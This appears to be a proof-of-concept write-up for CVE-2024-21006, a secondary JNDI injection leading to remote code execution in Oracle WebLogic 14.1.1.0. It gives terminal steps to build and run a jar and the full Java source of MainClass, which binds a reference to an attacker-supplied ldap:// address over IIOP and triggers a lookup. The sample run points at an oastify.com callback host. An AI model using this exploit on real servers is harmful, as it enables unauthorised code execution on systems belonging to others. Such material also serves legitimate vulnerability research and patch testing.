WebLogic — CVE-2024-21006

CVE-2024-21006 reveals a new WebLogic attack method: secondary JNDI injection, that is, triggering JNDI injection during the JNDI injection process, thereby completing RCE.

Project is based on the findings of pwnull and code from momika223.

Proof-of-Concept

Oracle 14.1.1.0

N/ABASH

apt :: ~ » docker container ls
CONTAINER ID   IMAGE                                                        COMMAND                  CREATED        STATUS       PORTS                                                                                  NAMES
fa9822b7dfd5   container-registry.oracle.com/middleware/weblogic:14.1.1.0   "/u01/oracle/createA…"   23 hours ago   Up 2 hours   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp, 0.0.0.0:9002->9002/tcp, :::9002->9002/tcp   14110-weblogic

Prepare the environment by uploading MainClass.java and META-INF/MANIFEST.MF to the WebLogic container.

N/ABASH

[oracle@14110-weblogic lib]$ curl -OL 172.17.0.1/MainClass.java
[oracle@14110-weblogic lib]$ curl -OL 172.17.0.1/MANIFEST.MF
[oracle@14110-weblogic lib]$ mkdir META-INF
[oracle@14110-weblogic lib]$ mv MANIFEST.MF META-INF/

Compile the code.

N/ABASH

[oracle@14110-weblogic lib]$ javac -cp /u01/oracle/wlserver/server/lib/weblogic.jar MainClass.java
[oracle@14110-weblogic lib]$ ls -al | grep MainClass
-rw-rw-r-- 1 oracle oracle    2033 Oct 10 08:03 MainClass$1.class
-rw-rw-r-- 1 oracle oracle    1386 Oct 10 08:03 MainClass.class
-rw-rw-r-- 1 oracle oracle    3717 Oct 10 08:01 MainClass.java
 
[oracle@14110-weblogic lib]$ jar cvfm cve-2024-21006.jar META-INF/MANIFEST.MF *.class
added manifest
adding: MainClass$1.class(in = 2033) (out= 671)(deflated 66%)
adding: MainClass.class(in = 2161) (out= 1100)(deflated 49%)

N/ABASH

[oracle@14110-weblogic lib]$ java -jar cve-2024-21006.jar
Target IP: 127.0.0.1
Target Port: 7001
RMI Address (ip:port/exp): wssm1qvzn5i56ehqjskcwdmtckib639ry.oastify.com

Source code

MainClass.java

N/AJAVA

import weblogic.j2ee.descriptor.InjectionTargetBean;
import weblogic.j2ee.descriptor.MessageDestinationRefBean;
import javax.naming.*;
import java.util.Scanner;
import java.util.Hashtable;
import java.util.Random;
 
public class MainClass {
 
    public static void main(String[] args) throws Exception {
	Scanner scanner = new Scanner(System.in);
	System.out.print("Target IP: ");
	String ip = scanner.nextLine();
	System.out.print("Target Port: ");
	String port = scanner.nextLine();
	System.out.print("RMI Address (ip:port/exp): ");
	String rmiexp = scanner.nextLine();
	Random bindname = new Random();
	int bindint = bindname.nextInt(10000);
        String rhost = String.format("iiop://%s:%s", ip, port);
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put(Context.PROVIDER_URL, rhost);
        Context context = new InitialContext(env);
        weblogic.application.naming.MessageDestinationReference messageDestinationReference=new weblogic.application.naming.MessageDestinationReference(null, new MessageDestinationRefBean() {
            @Override
            public String[] getDescriptions() {
                return new String[0];
            }
 
            @Override
            public void addDescription(String s) {
 
            }
 
            @Override
            public void removeDescription(String s) {
 
            }
 
            @Override
            public void setDescriptions(String[] strings) {
 
            }
 
            @Override
            public String getMessageDestinationRefName() {
                return null;
            }
 
            @Override
            public void setMessageDestinationRefName(String s) {
 
            }
 
            @Override
            public String getMessageDestinationType() {
                return "weblogic.application.naming.MessageDestinationReference";
            }
 
            @Override
            public void setMessageDestinationType(String s) {
 
            }
 
            @Override
            public String getMessageDestinationUsage() {
                return null;
            }
 
            @Override
            public void setMessageDestinationUsage(String s) {
 
            }
 
            @Override
            public String getMessageDestinationLink() {
                return null;
            }
 
            @Override
            public void setMessageDestinationLink(String s) {
 
            }
 
            @Override
            public String getMappedName() {
                return null;
            }
 
            @Override
            public void setMappedName(String s) {
 
            }
 
            @Override
            public InjectionTargetBean[] getInjectionTargets() {
                return new InjectionTargetBean[0];
            }
 
            @Override
            public InjectionTargetBean createInjectionTarget() {
                return null;
            }
 
            @Override
            public void destroyInjectionTarget(InjectionTargetBean injectionTargetBean) {
 
            }
 
            @Override
            public String getLookupName() {
                return null;
            }
 
            @Override
            public void setLookupName(String s) {
 
            }
 
            @Override
            public String getId() {
                return null;
            }
 
            @Override
            public void setId(String s) {
 
            }
        }, "ldap://" + rmiexp, null, null);
 
        context.bind("pthree"+bindint,messageDestinationReference);
        context.lookup("pthree"+bindint);
    }
}

META-INF/MANIFEST.MF

N/A

Manifest-Version: 1.0
Main-Class: MainClass
Class-Path: /u01/oracle/wlserver/server/lib/weblogic.jar